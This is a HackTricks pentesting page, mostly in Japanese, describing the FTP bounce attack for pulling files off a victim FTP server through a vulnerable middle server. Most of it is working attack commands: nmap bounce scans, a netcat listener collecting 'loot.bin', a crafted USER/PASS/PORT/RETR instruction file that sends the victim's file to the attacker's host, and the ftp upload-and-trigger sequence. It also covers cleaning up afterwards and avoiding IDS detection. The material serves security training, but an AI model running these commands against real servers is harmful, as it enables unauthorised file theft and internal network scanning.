FTP Bounce Download 2 of FTP File

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

概要

もし bounce FTP server にアクセスできる場合、(認証情報を知っている)another FTP server にそのファイルを要求させ、そのファイルを your own server にダウンロードすることができます。

要件

  • FTP Middle server に対する有効なFTP資格情報
  • Victim FTP server に対する有効なFTP資格情報
  • 両方のサーバーが PORT コマンドを受け付ける(bounce FTP attack)
  • FTP Middle server のいずれかのディレクトリに 書き込み ができること
  • FTP Middle serverVictim FTP server 内であなたより多くの権限を持っていること

手順

  1. 自分の your own FTP server に接続し、接続をパッシブにする(pasv コマンド)ことで Victim FTP server がファイルを送信するディレクトリで 待ち受け します。
  2. FTP Middle serverVictim server に送るファイル(exploit script)を作成します。このファイルは Victim server に対する認証、ディレクトリ移動、そして your own server へのファイルダウンロードに必要なコマンドを含むプレーンテキストになります。
  3. FTP Middle Server に接続し、先ほど作成したファイルをアップロードします。
  4. FTP Middle server に Victim server への接続を確立させ、exploit file を送信させます。
  5. 自分の your own FTP server でファイルを取得します。
  6. FTP Middle server から exploit file を削除します。

Quick check for vulnerable bounce hosts

  • Nmap は依然として FTP bounce checks をサポートしています。潜在的な middle server を検証する例:
nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>
# or directly attempt a bounce scan
nmap -Pn -p80 -b user:pass@<middle_ftp_ip>:21 <internal_target_ip>

If the server refuses third‑party PORT values the scan will fail; some embedded/legacy printers, NAS and appliance FTP daemons still allow it.

第2の FTP ダウンロードを自動化する

以下は、脆弱な中継 FTP サーバーを経由してファイルを取得するモダンな方法です。

  1. 攻撃マシンで passive listener を起動する(任意の TCP sink で可):
nc -lvnp 2121 > loot.bin  # or run a small pyftpdlib server
  1. 自分のIPを A,B,C,D として、ポート Pp1,p2 としてメモする(p1 = P/256p2 = P%256)。

  2. 中継サーバーが被害者にリプレイする instruction ファイルを作成する:

cat > instrs <<'EOF'
USER <victim_user>
PASS <victim_pass>
CWD /path/inside/victim
TYPE I
PORT A,B,C,D,p1,p2
RETR secret.tar.gz
QUIT
EOF
# Add padding so the control channel stays open on picky daemons
dd if=/dev/zero bs=1024 count=60 >> instrs
  1. 中継サーバーからアップロードしてトリガーする(classic proxy FTP):
ftp -n <middle_ftp> <<'EOF'
user <middle_user> <middle_pass>
put instrs
PORT <victim_ip_with_commas>,0,21
RETR instrs
QUIT
EOF
  1. listener からファイルを取得する (loot.bin)。
  2. 中継サーバー上のアップロードした instrs ファイルを削除してクリーンアップする。

Notes:

  • Padding (dd ...) は RETR が完了する前にコントロール接続が閉じられるのを防ぐ(大きな TCP ウィンドウの問題は古典的な解説で議論されている)。
  • TCP を受けてダンプできる任意のサービスは FTP PASV ソケットの代替になり得る(例: socat -u TCP-LISTEN:2121,fork - > loot.bin)。
  • 中継サーバーが特権ポートを制限している場合は、PORT に高いポートを指定し、リスナーを適宜調整する。

追加の小技

  • ファイルリレーがブロックされている場合、bounceable FTP サーバーを使って内部ホストを port-scan internal hosts する:
nmap -Pn -p22,80,445 -b anonymous:<email>@<middle_ftp> <internal_ip>
  • 一部の現代的な WAF/IDS(例: Juniper IPS)は特に FTP:EXPLOIT:BOUNCE-ATTACK 用のシグネチャを搭載しているため、ノイジーなペイロードやパディング不足は検知を誘発する可能性がある。
  • 中継サーバーが「PORT を同一ホストに限定する」制約を課す場合は、(書き込み/実行権があるなら)中継サーバー自身に listener を置き、取得したファイルを後で転送する。

より詳細なオールドスクールな手順については次を参照: http://www.ouah.org/ftpbounce.html

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする